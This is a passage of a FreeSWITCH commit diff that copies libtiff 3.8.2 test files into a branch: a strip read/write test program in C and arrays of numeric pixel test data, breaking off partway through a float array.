Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/strip_rw.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/strip_rw.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/strip_rw.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/strip_rw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+/* $Id: strip_rw.c,v 1.5 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Test libtiff input/output routines.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+
+#ifdef HAVE_UNISTD_H 
+# include <unistd.h> 
+#endif 
+
+#include "tiffio.h"
+#include "test_arrays.h"
+
+extern int
+create_image_striped(const char *, uint32, uint32, uint32, uint16, uint16,
+		     uint16, uint16, uint16, uint16, const tdata_t,
+		     const tsize_t);
+extern int
+read_image_striped(const char *, uint32, uint32, uint32, uint16, uint16,
+		   uint16, uint16, uint16, uint16, const tdata_t,
+		   const tsize_t);
+
+const char	*filename = "strip_test.tiff";
+
+int
+main(int argc, char **argv)
+{
+	uint32		rowsperstrip;
+	uint16		compression;
+	uint16		spp, bps, photometric, sampleformat, planarconfig;
+
+	/* 
+	 * Test two special cases: image consisting from single line and image
+	 * consisting from single column.
+	 */
+	rowsperstrip = 1;
+	compression = COMPRESSION_NONE;
+	spp = 1;
+	bps = 8;
+        photometric = PHOTOMETRIC_MINISBLACK;
+	sampleformat = SAMPLEFORMAT_UINT;
+	planarconfig = PLANARCONFIG_CONTIG;
+
+	if (create_image_striped(filename, XSIZE * YSIZE, 1, rowsperstrip,
+				  compression, spp, bps, photometric,
+				  sampleformat, planarconfig,
+				  (const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't create TIFF file %s.\n", filename);
+		goto failure;
+	}
+	if (read_image_striped(filename, XSIZE * YSIZE, 1, rowsperstrip,
+				compression, spp, bps, photometric,
+				sampleformat, planarconfig,
+				(const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't read TIFF file %s.\n", filename);
+		goto failure;
+	}
+	unlink(filename);
+		
+	if (create_image_striped(filename, 1, XSIZE * YSIZE, rowsperstrip,
+				  compression, spp, bps, photometric,
+				  sampleformat, planarconfig,
+				  (const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't create TIFF file %s.\n", filename);
+		goto failure;
+	}
+	if (read_image_striped(filename, 1, XSIZE * YSIZE, rowsperstrip,
+				compression, spp, bps, photometric,
+				sampleformat, planarconfig,
+				(const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't read TIFF file %s.\n", filename);
+		goto failure;
+	}
+	unlink(filename);
+		
+	/* 
+	 * Test one-channel image with different parameters.
+	 */
+	rowsperstrip = 1;
+	spp = 1;
+	bps = 8;
+        photometric = PHOTOMETRIC_MINISBLACK;
+	sampleformat = SAMPLEFORMAT_UINT;
+	planarconfig = PLANARCONFIG_CONTIG;
+
+	if (create_image_striped(filename, XSIZE, YSIZE, rowsperstrip,
+				  compression, spp, bps, photometric,
+				  sampleformat, planarconfig,
+				  (const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't create TIFF file %s.\n", filename);
+		goto failure;
+	}
+	if (read_image_striped(filename, XSIZE, YSIZE, rowsperstrip,
+				compression, spp, bps, photometric,
+				sampleformat, planarconfig,
+				(const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't read TIFF file %s.\n", filename);
+		goto failure;
+	}
+	unlink(filename);
+	
+	rowsperstrip = YSIZE;
+	if (create_image_striped(filename, XSIZE, YSIZE, rowsperstrip,
+				  compression, spp, bps, photometric,
+				  sampleformat, planarconfig,
+				  (const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't create TIFF file %s.\n", filename);
+		goto failure;
+	}
+	if (read_image_striped(filename, XSIZE, YSIZE, rowsperstrip,
+				compression, spp, bps, photometric,
+				sampleformat, planarconfig,
+				(const tdata_t) byte_array1, byte_array1_size) < 0) {
+		fprintf (stderr, "Can't read TIFF file %s.\n", filename);
+		goto failure;
+	}
+	unlink(filename);
+
+	return 0;
+
+failure:
+	unlink(filename);
+	return 1;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/test_arrays.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/test_arrays.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,829 @@
+/* $Id: test_arrays.c,v 1.3 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Numerical arrays used to test libtiff's read/write functions.
+ */
+
+#include <stddef.h>
+
+#include "test_arrays.h"
+
+const unsigned char byte_array1[XSIZE * YSIZE]=
+{
+86, 84, 86, 90, 89, 85, 90, 78, 77, 79, 75, 77, 79, 86,
+87, 83, 82, 87, 89, 88, 86, 87, 88, 87, 81, 84, 85, 85,
+84, 86, 88, 91, 96, 95, 97, 95, 89,
+85, 82, 81, 88, 89, 85, 89, 83, 74, 79, 76, 77, 80, 87,
+87, 84, 84, 88, 90, 89, 87, 85, 87, 88, 83, 80, 82, 84,
+85, 87, 90, 95, 96, 95, 95, 92, 90,
+85, 81, 79, 84, 90, 87, 88, 88, 73, 79, 75, 76, 79, 88,
+88, 87, 85, 90, 92, 89, 88, 88, 87, 86, 84, 82, 82, 83,
+87, 89, 93, 94, 93, 93, 92, 92, 96,
+85, 82, 76, 80, 88, 89, 88, 89, 73, 80, 75, 75, 77, 89,
+92, 93, 91, 89, 94, 92, 90, 89, 88, 84, 84, 82, 82, 85,
+88, 91, 94, 93, 93, 89, 90, 96, 96,
+87, 83, 75, 77, 83, 89, 90, 90, 74, 78, 76, 76, 76, 84,
+94, 100, 89, 92, 94, 92, 90, 89, 90, 85, 84, 83, 83, 87,
+91, 92, 88, 92, 91, 88, 90, 97, 95,
+89, 83, 74, 77, 82, 84, 90, 92, 78, 72, 76, 75, 75, 81,
+95, 101, 95, 92, 95, 93, 90, 89, 90, 87, 86, 84, 86, 88,
+90, 90, 87, 90, 89, 90, 89, 98, 98,
+92, 84, 75, 76, 81, 81, 86, 91, 81, 72, 74, 74, 75, 81,
+104, 108, 93, 92, 95, 94, 88, 87, 89, 87, 85, 85, 88, 89,
+93, 91, 88, 88, 91, 88, 91, 106, 108,
+93, 89, 78, 75, 77, 80, 85, 86, 85, 73, 72, 73, 74, 79,
+102, 101, 88, 92, 93, 91, 87, 87, 86, 87, 85, 86, 88, 89,
+94, 94, 90, 88, 85, 86, 98, 109, 113,
+92, 93, 83, 76, 74, 79, 84, 85, 81, 75, 72, 73, 74, 79,
+105, 86, 86, 92, 96, 98, 104, 86, 85, 85, 85, 88, 90, 90,
+93, 92, 88, 87, 86, 89, 97, 110, 109,
+92, 93, 89, 78, 79, 78, 89, 84, 75, 76, 73, 72, 73, 78,
+105, 83, 82, 88, 83, 107, 95, 84, 85, 84, 86, 87, 90, 91,
+92, 90, 88, 87, 89, 90, 91, 99, 107,
+96, 94, 91, 82, 84, 86, 91, 87, 75, 74, 73, 73, 73, 77,
+101, 86, 83, 89, 92, 99, 98, 86, 86, 87, 83, 84, 89, 89,
+92, 92, 92, 96, 96, 87, 91, 90, 98,
+96, 97, 94, 87, 88, 89, 92, 90, 79, 72, 73, 73, 74, 77,
+100, 92, 84, 86, 98, 100, 92, 87, 88, 88, 84, 83, 87, 89,
+91, 94, 94, 96, 93, 87, 87, 84, 109,
+93, 92, 95, 92, 94, 93, 92, 91, 82, 72, 73, 74, 74, 76,
+95, 89, 85, 84, 102, 89, 85, 88, 94, 86, 82, 83, 82, 91,
+94, 97, 90, 92, 85, 90, 85, 79, 125,
+89, 96, 94, 90, 94, 95, 91, 91, 85, 76, 72, 73, 74, 75,
+88, 100, 83, 84, 84, 83, 85, 88, 90, 85, 84, 83, 84, 88,
+92, 93, 90, 89, 84, 90, 94, 79, 139,
+93, 97, 97, 93, 92, 95, 91, 90, 87, 81, 74, 73, 73, 74,
+85, 97, 95, 95, 89, 86, 86, 92, 87, 85, 84, 90, 86, 85,
+91, 87, 87, 86, 93, 124, 140, 106, 143,
+101, 95, 97, 97, 96, 95, 84, 88, 87, 82, 78, 73, 73, 74,
+82, 92, 104, 95, 88, 89, 87, 89, 86, 85, 86, 87, 87, 81,
+81, 83, 91, 106, 131, 153, 151, 123, 133,
+99, 101, 102, 99, 96, 90, 83, 82, 85, 84, 79, 76, 74, 74,
+78, 81, 89, 96, 90, 93, 88, 88, 86, 88, 89, 95, 89, 82,
+81, 85, 104, 118, 141, 160, 129, 137, 147,
+103, 104, 98, 99, 90, 88, 81, 76, 81, 83, 79, 77, 75, 75,
+75, 76, 80, 90, 94, 87, 86, 87, 92, 85, 85, 85, 87, 87,
+89, 91, 112, 115, 145, 154, 145, 141, 147,
+106, 103, 100, 99, 92, 82, 78, 75, 78, 81, 79, 77, 77, 78,
+78, 76, 77, 81, 89, 87, 84, 84, 90, 86, 85, 84, 80, 85,
+97, 104, 119, 119, 149, 147, 144, 146, 152,
+107, 105, 103, 100, 93, 83, 78, 74, 74, 79, 78, 77, 76, 78,
+80, 79, 76, 78, 83, 84, 81, 81, 84, 83, 82, 78, 78, 85,
+86, 97, 105, 114, 145, 146, 148, 147, 150,
+107, 105, 103, 97, 92, 84, 72, 72, 75, 77, 76, 75, 76, 79,
+80, 80, 77, 76, 82, 81, 80, 81, 80, 80, 80, 77, 74, 74,
+73, 77, 91, 110, 132, 141, 152, 152, 145,
+107, 105, 103, 96, 92, 86, 73, 71, 73, 75, 75, 76, 76, 78,
+80, 80, 80, 98, 80, 80, 82, 82, 80, 78, 76, 73, 71, 72,
+71, 74, 80, 108, 119, 136, 158, 142, 137,
+107, 104, 101, 97, 85, 87, 75, 70, 70, 74, 74, 75, 77, 78,
+80, 82, 110, 117, 110, 78, 81, 83, 81, 78, 76, 73, 71, 69,
+68, 71, 74, 95, 120, 138, 148, 143, 139
+};
+
+const size_t byte_array1_size = sizeof(byte_array1);
+
+const unsigned char byte_array2[YSIZE * XSIZE] =
+{
+77, 73, 76, 80, 79, 75, 82, 65, 62, 64, 59, 59, 61, 72,
+70, 67, 65, 70, 71, 70, 68, 66, 65, 67, 66, 66, 66, 66,
+66, 66, 66, 66, 66, 65, 63, 63, 62,
+75, 71, 71, 79, 81, 75, 81, 73, 59, 65, 60, 60, 64, 73,
+73, 68, 66, 70, 72, 71, 68, 66, 66, 67, 66, 66, 66, 67,
+67, 67, 66, 67, 66, 64, 63, 63, 63,
+76, 71, 66, 73, 81, 78, 80, 79, 59, 66, 60, 59, 62, 74,
+74, 71, 67, 70, 73, 71, 68, 66, 65, 65, 66, 66, 67, 67,
+67, 67, 67, 67, 66, 64, 64, 64, 64,
+76, 72, 64, 68, 79, 81, 80, 80, 59, 68, 60, 59, 60, 75,
+75, 73, 67, 68, 73, 72, 68, 66, 65, 63, 67, 67, 67, 67,
+68, 67, 67, 66, 65, 64, 65, 65, 65,
+79, 72, 63, 66, 73, 80, 83, 82, 60, 65, 61, 61, 60, 66,
+75, 75, 65, 70, 73, 72, 68, 66, 65, 64, 68, 67, 68, 68,
+68, 67, 67, 66, 65, 65, 65, 66, 65,
+81, 73, 62, 65, 72, 74, 82, 85, 66, 59, 62, 60, 60, 63,
+75, 76, 68, 69, 72, 72, 68, 66, 66, 65, 67, 68, 68, 68,
+68, 68, 66, 66, 64, 66, 65, 66, 66,
+84, 74, 64, 64, 70, 71, 78, 84, 70, 58, 60, 59, 59, 63,
+75, 80, 73, 67, 72, 72, 68, 66, 66, 65, 66, 68, 68, 68,
+68, 68, 66, 65, 65, 65, 66, 67, 68,
+87, 81, 66, 63, 65, 68, 76, 76, 75, 59, 58, 59, 59, 60,
+71, 92, 65, 64, 74, 72, 69, 67, 65, 65, 65, 68, 69, 68,
+69, 67, 65, 65, 65, 65, 67, 68, 69,
+86, 86, 73, 64, 62, 67, 75, 76, 70, 61, 58, 58, 59, 60,
+81, 68, 59, 63, 74, 90, 99, 67, 65, 65, 64, 67, 68, 68,
+68, 67, 65, 65, 66, 65, 66, 68, 68,
+85, 85, 80, 66, 67, 67, 81, 74, 62, 63, 59, 58, 58, 60,
+93, 61, 59, 59, 68, 115, 76, 67, 66, 64, 64, 66, 68, 68,
+68, 66, 65, 65, 66, 65, 64, 65, 69,
+90, 87, 83, 71, 74, 77, 83, 79, 63, 60, 59, 59, 58, 58,
+90, 61, 59, 59, 67, 80, 71, 68, 66, 64, 63, 63, 68, 68,
+68, 66, 65, 66, 67, 65, 64, 62, 87,
+91, 92, 86, 76, 78, 81, 85, 82, 67, 59, 59, 59, 59, 60,
+88, 72, 59, 60, 74, 80, 70, 67, 66, 64, 62, 60, 65, 68,
+67, 66, 65, 67, 66, 64, 62, 59, 111,
+84, 84, 87, 85, 87, 85, 84, 84, 72, 59, 59, 59, 59, 59,
+73, 71, 62, 59, 100, 70, 70, 67, 66, 64, 60, 58, 58, 67,
+68, 66, 65, 66, 64, 63, 59, 56, 131,
+80, 90, 87, 83, 88, 89, 84, 83, 76, 64, 59, 59, 59, 58,
+59, 97, 64, 62, 71, 68, 70, 73, 66, 63, 61, 58, 58, 62,
+67, 66, 64, 65, 63, 63, 61, 57, 149,
+86, 91, 92, 87, 85, 88, 83, 81, 78, 69, 61, 59, 59, 59,
+59, 61, 83, 72, 67, 67, 69, 69, 66, 64, 61, 72, 56, 57,
+64, 64, 64, 64, 65, 115, 150, 93, 151,
+97, 89, 91, 92, 89, 88, 74, 80, 78, 71, 65, 59, 58, 59,
+58, 59, 71, 72, 67, 70, 70, 69, 67, 64, 63, 66, 56, 54,
+57, 59, 64, 87, 139, 162, 160, 128, 141,
+94, 96, 97, 94, 89, 82, 71, 70, 76, 73, 67, 61, 59, 59,
+58, 59, 61, 71, 67, 75, 70, 68, 70, 65, 63, 63, 59, 56,
+54, 55, 90, 121, 149, 168, 138, 144, 157,
+99, 100, 93, 93, 82, 80, 70, 62, 70, 72, 67, 63, 60, 60,
+58, 58, 60, 68, 70, 70, 69, 68, 79, 68, 64, 62, 60, 59,
+57, 57, 88, 120, 151, 162, 154, 149, 155,
+103, 99, 95, 94, 84, 73, 67, 62, 65, 69, 67, 64, 63, 64,
+63, 59, 60, 65, 71, 69, 69, 67, 78, 65, 63, 61, 59, 61,
+60, 68, 100, 128, 155, 155, 152, 155, 164,
+104, 102, 99, 95, 86, 74, 67, 61, 61, 66, 65, 63, 63, 64,
+65, 63, 60, 63, 70, 69, 67, 67, 67, 65, 62, 60, 58, 57,
+62, 58, 71, 117, 150, 154, 157, 155, 163,
+104, 101, 99, 91, 84, 74, 59, 59, 62, 64, 63, 61, 62, 64,
+64, 64, 61, 60, 69, 68, 67, 69, 67, 65, 62, 59, 58, 57,
+57, 56, 59, 104, 137, 147, 159, 161, 158,
+104, 101, 99, 90, 85, 77, 60, 57, 60, 62, 62, 62, 63, 64,
+65, 65, 66, 100, 67, 67, 69, 69, 67, 65, 63, 60, 58, 56,
+54, 55, 56, 77, 122, 142, 166, 157, 150,
+104, 101, 97, 92, 77, 79, 64, 57, 57, 62, 62, 62, 64, 65,
+66, 65, 115, 138, 129, 64, 68, 70, 68, 66, 64, 60, 58, 56,
+53, 53, 56, 62, 115, 143, 157, 156, 159
+};
+
+const size_t byte_array2_size = sizeof(byte_array2);
+
+const unsigned char byte_array3[YSIZE * XSIZE] =
+{
+211, 221, 216, 201, 205, 216, 195, 236, 244, 237, 250, 250, 248, 218,
+223, 232, 236, 224, 221, 221, 227, 231, 232, 227, 229, 227, 227, 225,
+227, 225, 226, 226, 226, 228, 234, 234, 234, 216, 226, 228, 205, 200,
+214, 198, 215, 250, 233, 247, 250, 242, 219, 220, 229, 235, 225, 217,
+220, 227, 232, 230, 228, 229, 228, 227, 224, 225, 223, 226, 225, 226,
+230, 233, 233, 234, 213, 227, 237, 220, 200, 204, 202, 201, 248, 231,
+246, 250, 245, 214, 215, 223, 232, 225, 218, 218, 225, 230, 232, 231,
+229, 227, 225, 224, 223, 226, 224, 225, 228, 229, 230, 232, 231, 215,
+223, 242, 233, 206, 200, 201, 197, 250, 227, 250, 249, 248, 211, 212,
+216, 233, 229, 216, 218, 225, 230, 232, 237, 226, 224, 224, 223, 225,
+225, 224, 225, 228, 229, 231, 229, 231, 208, 220, 247, 238, 221, 202,
+194, 194, 245, 237, 247, 247, 249, 234, 210, 212, 237, 222, 219, 217,
+226, 229, 232, 235, 222, 222, 223, 223, 223, 224, 224, 227, 226, 229,
+229, 228, 231, 200, 221, 247, 239, 224, 217, 196, 189, 229, 248, 245,
+248, 250, 241, 210, 210, 230, 225, 218, 218, 224, 230, 230, 229, 224,
+222, 222, 222, 222, 223, 225, 226, 231, 226, 228, 229, 230, 191, 216,
+246, 245, 226, 228, 207, 191, 221, 251, 248, 249, 251, 245, 214, 214,
+233, 229, 217, 217, 224, 229, 230, 229, 225, 220, 223, 221, 222, 224,
+224, 227, 230, 227, 226, 229, 230, 187, 199, 238, 248, 242, 231, 213,
+211, 209, 246, 248, 251, 251, 250, 226, 215, 236, 237, 217, 215, 222,
+226, 229, 229, 227, 222, 222, 223, 222, 225, 227, 228, 226, 227, 228,
+228, 230, 188, 189, 221, 243, 247, 237, 215, 209, 223, 241, 248, 248,
+250, 248, 228, 234, 251, 239, 219, 210, 205, 224, 229, 228, 230, 221,
+223, 223, 222, 226, 229, 228, 224, 227, 229, 230, 232, 190, 190, 201,
+235, 236, 238, 198, 214, 243, 238, 248, 248, 250, 249, 215, 244, 250,
+250, 240, 168, 220, 224, 228, 230, 231, 226, 221, 224, 223, 226, 230,
+227, 226, 226, 230, 233, 234, 179, 185, 195, 224, 215, 210, 195, 204,
+239, 245, 250, 250, 252, 254, 216, 243, 249, 249, 233, 210, 215, 223,
+227, 230, 234, 234, 224, 223, 223, 227, 230, 226, 226, 228, 231, 235,
+212, 178, 174, 190, 211, 207, 199, 189, 194, 230, 250, 250, 250, 253,
+253, 222, 225, 250, 248, 218, 216, 217, 225, 226, 232, 239, 242, 229,
+223, 224, 229, 230, 225, 228, 230, 236, 241, 183, 194, 194, 185, 190,
+185, 190, 191, 191, 219, 250, 251, 250, 253, 254, 241, 225, 246, 249,
+198, 217, 220, 224, 225, 234, 241, 242, 246, 224, 223, 227, 229, 227,
+228, 234, 237, 245, 149, 203, 178, 182, 193, 185, 179, 191, 194, 211,
+236, 252, 252, 254, 254, 253, 192, 240, 244, 235, 224, 220, 229, 224,
+236, 239, 243, 244, 236, 224, 229, 230, 229, 231, 230, 233, 244, 128,
+188, 177, 171, 184, 191, 182, 196, 197, 208, 224, 247, 253, 255, 252,
+250, 248, 226, 216, 228, 230, 220, 220, 227, 234, 237, 231, 247, 244,
+231, 231, 229, 228, 229, 182, 128, 196, 118, 160, 182, 174, 172, 179,
+183, 216, 203, 206, 220, 236, 253, 254, 253, 253, 249, 225, 219, 232,
+230, 220, 224, 227, 233, 237, 234, 244, 250, 245, 240, 224, 212, 174,
+123, 124, 176, 127, 171, 163, 161, 167, 177, 198, 221, 228, 212, 215,
+233, 245, 252, 255, 253, 252, 251, 223, 231, 216, 222, 227, 231, 231,
+234, 227, 238, 245, 249, 244, 210, 177, 124, 129, 134, 124, 113, 156,
+155, 172, 168, 197, 201, 224, 247, 224, 219, 233, 242, 249, 250, 252,
+254, 252, 230, 230, 224, 224, 225, 225, 227, 232, 232, 235, 239, 239,
+241, 213, 178, 131, 128, 128, 120, 114, 149, 157, 165, 168, 191, 218,
+231, 246, 237, 226, 234, 241, 243, 239, 244, 252, 249, 237, 225, 226,
+224, 227, 220, 229, 235, 235, 239, 238, 236, 230, 204, 177, 125, 131,
+127, 117, 111, 146, 151, 158, 166, 187, 215, 230, 246, 246, 231, 238,
+243, 246, 243, 241, 244, 253, 245, 226, 226, 229, 229, 229, 231, 236,
+238, 241, 240, 241, 235, 224, 188, 134, 123, 127, 116, 116, 144, 151,
+158, 173, 190, 214, 251, 250, 243, 236, 242, 249, 246, 241, 241, 244,
+251, 251, 228, 230, 230, 226, 232, 231, 236, 241, 243, 244, 243, 243,
+235, 200, 150, 128, 122, 119, 117, 144, 151, 156, 176, 190, 207, 246,
+253, 244, 239, 244, 246, 244, 242, 240, 243, 249, 198, 239, 234, 226,
+226, 228, 234, 238, 241, 244, 245, 247, 250, 244, 219, 182, 138, 118,
+118, 116, 143, 150, 162, 173, 208, 205, 238, 253, 251, 241, 244, 244,
+242, 243, 238, 246, 193, 146, 173, 246, 231, 223, 230, 232, 236, 240,
+245, 247, 252, 252, 245, 233, 195, 138, 114, 118, 108
+};
+
+const size_t byte_array3_size = sizeof(byte_array3);
+
+const float array_float1[YSIZE * XSIZE] =
+{
+234.866, 229.404, 234.866, 245.790, 243.059, 232.135, 245.790, 213.018,
+210.287, 215.749, 204.825, 210.287, 215.749, 234.866, 237.597, 226.673,
+223.942, 237.597, 243.059, 240.328, 234.866, 237.597, 240.328, 237.597,
+221.211, 229.404, 232.135, 232.135, 229.404, 234.866, 240.328, 248.521,
+262.176, 259.445, 264.907, 259.445, 243.059,
+232.135, 223.942, 221.211, 240.328, 243.059, 232.135, 243.059, 226.673,
+202.094, 215.749, 207.556, 210.287, 218.480, 237.597, 237.597, 229.404,
+229.404, 240.328, 245.790, 243.059, 237.597, 232.135, 237.597, 240.328,
+226.673, 218.480, 223.942, 229.404, 232.135, 237.597, 245.790, 259.445,
+262.176, 259.445, 259.445, 251.252, 245.790,
+232.135, 221.211, 215.749, 229.404, 245.790, 237.597, 240.328, 240.328,
+199.363, 215.749, 204.825, 207.556, 215.749, 240.328, 240.328, 237.597,
+232.135, 245.790, 251.252, 243.059, 240.328, 240.328, 237.597, 234.866,
+229.404, 223.942, 223.942, 226.673, 237.597, 243.059, 253.983, 256.714,
+253.983, 253.983, 251.252, 251.252, 262.176,
+232.135, 223.942, 207.556, 218.480, 240.328, 243.059, 240.328, 243.059,
+199.363, 218.480, 204.825, 204.825, 210.287, 243.059, 251.252, 253.983,
+248.521, 243.059, 256.714, 251.252, 245.790, 243.059, 240.328, 229.404,
+229.404, 223.942, 223.942, 232.135, 240.328, 248.521, 256.714, 253.983,
+253.983, 243.059, 245.790, 262.176, 262.176,
+237.597, 226.673, 204.825, 210.287, 226.673, 243.059, 245.790, 245.790,
+202.094, 213.018, 207.556, 207.556, 207.556, 229.404, 256.714, 273.100,
+243.059, 251.252, 256.714, 251.252, 245.790, 243.059, 245.790, 232.135,
+229.404, 226.673, 226.673, 237.597, 248.521, 251.252, 240.328, 251.252,
+248.521, 240.328, 245.790, 264.907, 259.445,
+243.059, 226.673, 202.094, 210.287, 223.942, 229.404, 245.790, 251.252,
+213.018, 196.632, 207.556, 204.825, 204.825, 221.211, 259.445, 275.831,
+259.445, 251.252, 259.445, 253.983, 245.790, 243.059, 245.790, 237.597,
+234.866, 229.404, 234.866, 240.328, 245.790, 245.790, 237.597, 245.790,
+243.059, 245.790, 243.059, 267.638, 267.638,
+251.252, 229.404, 204.825, 207.556, 221.211, 221.211, 234.866, 248.521,
+221.211, 196.632, 202.094, 202.094, 204.825, 221.211, 284.024, 294.948,
+253.983, 251.252, 259.445, 256.714, 240.328, 237.597, 243.059, 237.597,
+232.135, 232.135, 240.328, 243.059, 253.983, 248.521, 240.328, 240.328,
+248.521, 240.328, 248.521, 289.486, 294.948,
+253.983, 243.059, 213.018, 204.825, 210.287, 218.480, 232.135, 234.866,
+232.135, 199.363, 196.632, 199.363, 202.094, 215.749, 278.562, 275.831,
+240.328, 251.252, 253.983, 248.521, 237.597, 237.597, 234.866, 237.597,
+232.135, 234.866, 240.328, 243.059, 256.714, 256.714, 245.790, 240.328,
+232.135, 234.866, 267.638, 297.679, 308.603,
+251.252, 253.983, 226.673, 207.556, 202.094, 215.749, 229.404, 232.135,
+221.211, 204.825, 196.632, 199.363, 202.094, 215.749, 286.755, 234.866,
+234.866, 251.252, 262.176, 267.638, 284.024, 234.866, 232.135, 232.135,
+232.135, 240.328, 245.790, 245.790, 253.983, 251.252, 240.328, 237.597,
+234.866, 243.059, 264.907, 300.410, 297.679,
+251.252, 253.983, 243.059, 213.018, 215.749, 213.018, 243.059, 229.404,
+204.825, 207.556, 199.363, 196.632, 199.363, 213.018, 286.755, 226.673,
+223.942, 240.328, 226.673, 292.217, 259.445, 229.404, 232.135, 229.404,
+234.866, 237.597, 245.790, 248.521, 251.252, 245.790, 240.328, 237.597,
+243.059, 245.790, 248.521, 270.369, 292.217,
+262.176, 256.714, 248.521, 223.942, 229.404, 234.866, 248.521, 237.597,
+204.825, 202.094, 199.363, 199.363, 199.363, 210.287, 275.831, 234.866,
+226.673, 243.059, 251.252, 270.369, 267.638, 234.866, 234.866, 237.597,
+226.673, 229.404, 243.059, 243.059, 251.252, 251.252, 251.252, 262.176,
+262.176, 237.597, 248.521, 245.790, 267.638,
+262.176, 264.907, 256.714, 237.597, 240.328, 243.059, 251.252, 245.790,
+215.749, 196.632, 199.363, 199.363, 202.094, 210.287, 273.100, 251.252,
+229.404, 234.866, 267.638, 273.100, 251.252, 237.597, 240.328, 240.328,
+229.404, 226.673, 237.597, 243.059, 248.521, 256.714, 256.714, 262.176,
+253.983, 237.597, 237.597, 229.404, 297.679,
+253.983, 251.252, 259.445, 251.252, 256.714, 253.983, 251.252, 248.521,
+223.942, 196.632, 199.363, 202.094, 202.094, 207.556, 259.445, 243.059,
+232.135, 229.404, 278.562, 243.059, 232.135, 240.328, 256.714, 234.866,
+223.942, 226.673, 223.942, 248.521, 256.714, 264.907, 245.790, 251.252,
+232.135, 245.790, 232.135, 215.749, 341.375,
+243.059, 262.176, 256.714, 245.790, 256.714, 259.445, 248.521, 248.521,
+232.135, 207.556, 196.632, 199.363, 202.094, 204.825, 240.328, 273.100,
+226.673, 229.404, 229.404, 226.673, 232.135, 240.328, 245.790, 232.135,
+229.404, 226.673, 229.404, 240.328, 251.252, 253.983, 245.790, 243.059,
+229.404, 245.790, 256.714, 215.749, 379.609,
+253.983, 264.907, 264.907, 253.983, 251.252, 259.445, 248.521, 245.790,
+237.597, 221.211, 202.094, 199.363, 199.363, 202.094, 232.135, 264.907,
+259.445, 259.445, 243.059, 234.866, 234.866, 251.252, 237.597, 232.135,
+229.404, 245.790, 234.866, 232.135, 248.521, 237.597, 237.597, 234.866,
+253.983, 338.644, 382.340, 289.486, 390.533,
+275.831, 259.445, 264.907, 264.907, 262.176, 259.445, 229.404, 240.328,
+237.597, 223.942, 213.018, 199.363, 199.363, 202.094, 223.942, 251.252,
+284.024, 259.445, 240.328, 243.059, 237.597, 243.059, 234.866, 232.135,
+234.866, 237.597, 237.597, 221.211, 221.211, 226.673, 248.521, 289.486,
